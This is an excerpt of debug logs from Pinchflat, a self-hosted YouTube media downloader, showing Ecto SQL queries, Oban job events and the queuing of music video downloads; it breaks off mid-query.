m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:12.301 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:12.301 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=0.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [192] 22:20:12.302 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=0.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [189] 22:20:12.302 [info] Kicking off download for media item #189 (fNjKyIoeQ48) 22:20:12.431 [debug] QUERY OK source="media_items" db=129.1ms queue=0.1ms idle=0.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [43] 22:20:12.539 [debug] Current batch of media processed. Will check again in 1000ms 22:20:12.540 [debug] QUERY OK source="settings" db=238.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:12.540 [info] {"args":{"id":184},"id":190,"meta":{},"system_time":1784859612540321768,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:12.540 [info] {"args":{"id":187},"id":191,"meta":{},"system_time":1784859612540402078,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:12.540 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=109.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:12.720 [debug] QUERY OK source="settings" db=179.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:12.720 [debug] QUERY OK source="media_items" db=180.1ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [184] 22:20:12.720 [debug] QUERY OK source="media_items" db=179.9ms queue=0.2ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [187] 22:20:12.825 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:12.825 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:12.825 [debug] QUERY OK source="tasks" db=105.2ms queue=29.2ms idle=150.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [193, 189, ~U[2026-07-24 02:20:12Z], ~U[2026-07-24 02:20:12Z]] 22:20:12.826 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nSlave to Nothing · Fit For A King\n\nSlave to Nothing\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-10-14\n\nAuto-generated by YouTube.", "duration" => 237, "filename" => "/downloads/ChristianMetal/ChristianMetal/2014-11-08Slave to Nothing[vgldRamTEBI].NA", "id" => "vgldRamTEBI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vgldRamTEBI", "playlist_index" => 24, "timestamp" => 1415466902, "title" => "Slave to Nothing", "upload_date" => "20141108"} 22:20:12.826 [debug] QUERY OK source="sources" db=0.4ms idle=135.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:12.826 [debug] QUERY OK source="sources" db=0.4ms idle=105.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:12.826 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=105.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:12.826 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=105.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:12.827 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:12.827 [debug] QUERY OK source="media_profiles" db=0.7ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:12.827 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:12.827 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 22:20:12.827 [debug] QUERY OK source="media_items" db=0.4ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [184] 22:20:12.828 [debug] QUERY OK source="media_items" db=0.2ms idle=0.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-11-08 17:15:02Z], 5] 22:20:12.828 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [187] 22:20:12.829 [debug] QUERY OK source="media_metadata" db=0.3ms idle=0.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [184] 22:20:12.829 [debug] QUERY OK source="media_metadata" db=0.3ms idle=0.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [187] 22:20:12.829 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:13.012 [debug] QUERY OK source="media_items" db=183.4ms idle=0.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nSlave to Nothing · Fit For A King\n\nSlave to Nothing\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-10-14\n\nAuto-generated by YouTube.", "Slave to Nothing", "121f07b8-41cf-421b-8e7b-8b25608b05e2", false, "vgldRamTEBI", 237, false, "https://www.youtube.com/watch?v=vgldRamTEBI", 24, "/downloads/ChristianMetal/ChristianMetal/2014-11-08Slave to Nothing[vgldRamTEBI].NA", false, false, 5, [], 1, ~U[2014-11-08 17:15:02Z], ~U[2026-07-24 02:20:12Z], ~U[2026-07-24 02:20:12Z], "Provided to YouTube by The Orchard Enterprises\n\nSlave to Nothing · Fit For A King\n\nSlave to Nothing\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-10-14\n\nAuto-generated by YouTube.", "Slave to Nothing", "vgldRamTEBI", 237, false, "https://www.youtube.com/watch?v=vgldRamTEBI", "/downloads/ChristianMetal/ChristianMetal/2014-11-08Slave to Nothing[vgldRamTEBI].NA", false, 5, ~U[2014-11-08 17:15:02Z]] 22:20:13.012 [debug] QUERY OK source="media_profiles" db=1.0ms queue=182.2ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:13.012 [debug] QUERY OK source="media_profiles" db=183.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:13.012 [debug] QUERY OK source="sources" db=0.4ms idle=183.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:13.012 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=183.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:13.013 [debug] QUERY OK source="settings" db=0.3ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.013 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.013 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:13.013 [debug] QUERY OK source="media_items" db=0.4ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 22:20:13.013 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:13.013 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:13.013 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190] 22:20:13.013 [info] Kicking off download for media item #190 (vgldRamTEBI) 22:20:13.014 [debug] QUERY OK source="media_items" db=0.5ms idle=0.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:13.015 [debug] QUERY OK source="settings" db=0.4ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.015 [debug] QUERY OK source="settings" db=0.5ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.015 [debug] QUERY OK source="sources" db=0.6ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:13.015 [debug] QUERY OK source="settings" db=0.2ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.194 [debug] QUERY OK source="settings" db=179.3ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.195 [debug] QUERY OK source="settings" db=180.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.196 [debug] QUERY OK source="media_items" db=180.1ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE 